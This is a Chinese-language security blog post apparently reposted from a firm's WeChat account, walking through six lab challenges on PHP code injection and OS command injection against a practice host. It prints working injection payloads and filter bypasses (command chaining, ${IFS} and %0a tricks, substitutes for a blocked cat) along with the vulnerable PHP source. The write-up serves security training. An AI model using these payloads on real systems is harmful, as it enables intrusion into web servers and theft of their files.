RCE远程命令执行和远程代码执行

admin 2021年12月22日02:03:06评论253 views字数 2383阅读7分56秒阅读模式

RCE远程命令执行和远程代码执行


1


1.1.1 code_injection

提示:代码执行漏洞,phpinfo中有个FLAG

tips:有个简单的过滤,需要绕过一下

RCE远程命令执行和远程代码执行 

特殊组合、双引号二次解析

单引号与双引号的区别,双引号内的数据会被解析,单引号就是纯字符串。

在php5.5以上的版本中,直接双引号中嵌套“${phpinfo()} ”就会形成代码执行漏洞。

当我们可以控制双引号的内容时,并且被保存到服务器的一个文件中,

当能够控制某个地方的双引号,就可以命令执行复杂语法“${phpinfo()}”;


分析:

http://172.16.1.5:49157/?name=${phpinfo()}

RCE远程命令执行和远程代码执行 

源码:index.php

RCE远程命令执行和远程代码执行

参考:

https://blog.csdn.net/weixin_46865273/article/details/116941786


2


1.1.2 os_injection

提示:这是一个没有任何过滤的命令执行漏洞靶机


分析:

尝试  172.16.1.5 & ls,可以发现flag。

RCE远程命令执行和远程代码执行 

172.16.1.5 & ls flag 发现flag文件。

RCE远程命令执行和远程代码执行 

读取出flag内容 172.16.1.5;cd flag; cat flag159951.txt  

RCE远程命令执行和远程代码执行 

源码:index.php


RCE远程命令执行和远程代码执行


3


1.1.3 filter_cat

提示:命令执行漏洞,过滤了cat命令

你有办法读到flag吗?

代替cat

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f


分析:

172.16.1.5 & ls

RCE远程命令执行和远程代码执行 

172.16.1.5 & ls flag

RCE远程命令执行和远程代码执行 

用head 、more、tail等命令来代替cat命令。


172.16.1.5 ;cd flag; head flag852456.txt

RCE远程命令执行和远程代码执行 

172.16.1.5 ;cd flag;tail  flag852456.txt

RCE远程命令执行和远程代码执行 

172.16.1.5 ;cd flag; more flag852456.txt

RCE远程命令执行和远程代码执行


源码:

RCE远程命令执行和远程代码执行


4


1.1.4 filter_directory_separator

提示:当命令执行漏洞,过滤了目录分隔符

你有办法读取到你想要的文件吗?


Linux系统支持的管道符如下:

“;”:执行完前面的语句再执行后面的语句。

“|”:显示后面语句的执行结果。

“||”:当前面的语句执行出错时,执行后面的语句。

“&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。

“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。


172.16.1.5 & cd flag ;cat flag357951.txt

RCE远程命令执行和远程代码执行 

5


1.1.5 filter_space

提示:这里有个命令执行漏洞

但是空格被过滤了,该怎么利用呢?


绕过空格的几种方法:

$IFS${IFS}$IFS$1   //$1改成$加其他数字貌似都行$IFS$9      (Ubuntu下测试通过)后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

<

<>

{cat,flag.php}  //用逗号实现了空格功能

%20

%09

用${IFS}代替


172.16.1.5;ls     

RCE远程命令执行和远程代码执行 

用${IFS}代替空格,试的此靶场唯一可用。

172.16.1.5&ls${IFS}flag

RCE远程命令执行和远程代码执行 

172.16.1.5;cd${IFS}flag;cat${IFS}flag294861.txt

RCE远程命令执行和远程代码执行


172.16.1.5;cat$IFS$9index.php

RCE远程命令执行和远程代码执行 

源码:

RCE远程命令执行和远程代码执行 

6


1.1.6 filter_operator

提示:命令执行漏洞,过滤了运算符怎么办  综合过滤


分析:

过滤:/(||&|;| |/|cat|flag)/


利用%0a绕过 & ; | || 。因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码。

${IFS}绕过空格。

fla* 不用知道flag的具体名字。

a=c;b=at;a${a}${b} ,head,more等 绕过cat。


172.0.0.1%0acd${IFS}fla*%0aa=c%0ab=at%0a${a}${b}${IFS}fla*

RCE远程命令执行和远程代码执行 

源码:

<?phpheader("Access-Control-Allow-Origin: *");//设置允许跨域,用来判断题目环境是否开启$res=0;if (isset($_GET['ip']) && $_GET['ip']) {    $ip = $_GET['ip'];    $m=[];    if (!preg_match_all("/(||&|;| |/|cat|flag)/", $ip, $m)) {        $cmd = "ping -c 4 {$ip}";        exec($cmd,$res);    }else{        $res=$m;    }    if ($res) {            print_r($res);        }}





关注路劲科技,关注网络安全!




RCE远程命令执行和远程代码执行

Vulhub漏洞环境的搭建
越权漏洞检测工具 secscan-authcheck
CVE-2017-8464 远程命令执行漏洞复现
CVE-2020-1938(Apache Tomcat文件包含漏洞)漏洞复现
Burp Suite | CSRF Token Tracker —— 绕过CSRF限制进行暴力破解


RCE远程命令执行和远程代码执行

RCE远程命令执行和远程代码执行

北京路劲科技有限公司

网址:www.lujinsec.com

北京市昌平区南邵镇双营西路78号院2号楼5层504

本文始发于微信公众号(LSCteam):RCE远程命令执行和远程代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月22日02:03:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RCE远程命令执行和远程代码执行http://cn-sec.com/archives/456648.html

发表评论

匿名网友 填写信息